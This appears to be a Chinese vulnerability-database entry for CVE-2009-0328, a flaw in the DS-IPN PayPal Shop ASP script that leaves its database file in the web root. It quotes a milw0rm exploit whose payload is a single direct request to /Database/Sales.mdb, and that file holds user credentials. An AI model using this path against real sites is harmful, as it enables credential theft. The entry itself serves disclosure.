ROBS-PROJECTS Digital Sales IPN_ 根目录权限许可和访问控制漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117259 漏洞类型 权限许可和访问控制
发布时间 2009-01-18 更新时间 2009-01-29
CVE编号 CVE-2009-0328 CNNVD-ID CNNVD-200901-424
漏洞平台 ASP CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/7816
https://www.securityfocus.com/bid/79613
https://cxsecurity.com/issue/WLB-2009020068
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-424
|漏洞详情
ROBS-PROJECTSDigitalSalesIPN(又称DS-IPN.NET或DS-IPNPaypalShop)在web根下储存敏感信息而未赋予足够的访问控制,这使得远程攻击者借助一个对Database/Sales.mdb的直接请求,下载包含用户信任证书的数据库文件。
|漏洞EXP
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [»] We love Palestine, stop the war, too many innocent people!!
==============================================================================
    DS-IPN Paypal Shop Remote Database Disclosure Vulnerability
==============================================================================

	[»] Script:             [ DS-IPN Paypal Shop  ]
	[»] Language:           [ ASP ]
	[»] Website:            [ http://shop.robs-projects.com/product_DS-IPN.html ]
	[»] Founder:            [ Moudi <m0udi@9.cn> ]
        [»] Thanks to:          [ MiZoZ , ZuKa , str0ke , and all hackers... ]
        [»] Team:               [ EvilWay ]
        [»] SiteWeb:            [ www.evilway.org ]

###########################################################################

===[ Exploit ]===	
	
	[»] http://localhost/[path]/Database/Sales.mdb


Author: Moudi

###########################################################################

# milw0rm.com [2009-01-18]
|受影响的产品
Robs-Projects Digital Sales Ipn Nil
|参考资料

来源:XF
名称:digitalsales-sales-information-disclosure(48082)
链接:http://xforce.iss.net/xforce/xfdb/48082
来源:MILW0RM
名称:7816
链接:http://www.milw0rm.com/exploits/7816
来源:SECUNIA
名称:33602
链接:http://secunia.com/advisories/33602